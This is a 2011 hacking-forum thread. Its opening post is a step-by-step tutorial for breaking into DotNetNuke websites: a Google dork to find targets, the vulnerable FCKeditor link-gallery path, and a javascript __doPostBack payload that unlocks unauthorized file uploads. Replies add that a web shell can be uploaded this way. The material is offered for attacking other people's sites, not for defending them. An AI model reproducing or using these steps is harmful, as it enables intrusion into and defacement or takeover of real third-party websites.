+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [Tutorial] DNN (DotNetNuke) Hacking (/showthread.php?tid=1826770)
[Tutorial] DNN (DotNetNuke) Hacking - Contrarietas - Oct 16, 2011
Hello Guys!
Today I will explain a new hacking technique known as DNN (DotNetNuke). I will show you how to hack a DNN website. Is it easy? Yes. It is easy compared to other hacking attacks such as SQL-Injection and Cross Site Scripting. I will teach you how to find your target and how to enter into the target website and upload your files.
DotNetNuke is an open source platform for building web sites based on Microsoft .NET technology. DotNetNuke is mainly provide Content Management System(CMS) for the personal websites.
Below are the easy steps to implement the attack:
First use a google dork to find the appropriate target.
inurl:”/portals/0″ site:.com
You can change com to your desired domain name like bd ph ae
Now search your website on the google after searching you will get many websites choose any one of it.
Its time to check the required vulnerability on the website just place this code after the web address.
Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
For example if you got www.victim.com
Replace it www.victim.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
If you will get this screen means this web is going to hack.
[img]http://www.hungry-hackers.com/wp-content/uploads/2011/02/dnn1-300x279.jpg[/img]
Now choose the third option “A File On Your Site” And than paste this java code on your address bar.
javascript:__doPostBack(‘ctlURL$cmdUpload’,”)
It will allow you to upload a files on this website you can upload text ~ swf ~ jpg ~ gif ~ pdf ~ Files.
After uploading files you can find your file on this address www.victim.com/portals/0/yourfile.extension
here extension is txt jpg swf etc.
In our case
www.victim.com/portals/0/b.txt
Enjoy!
Visit my website: http://hack-guide4u.blogspot.com/
* - Piracy - Oct 16, 2011
So could you upload a shell in this way ?
* - T-rom - Oct 17, 2011
(Oct 16, 2011 08:29 AM)Piracy Wrote: So could you upload a shell in this way ?
yes. but not all shells work :P
its really really old
* - Alienguy - Oct 17, 2011
Nice short tutorial , Thank you for this.
* - Skar3 - Oct 17, 2011
Very good tutorial, thank you :D 🤝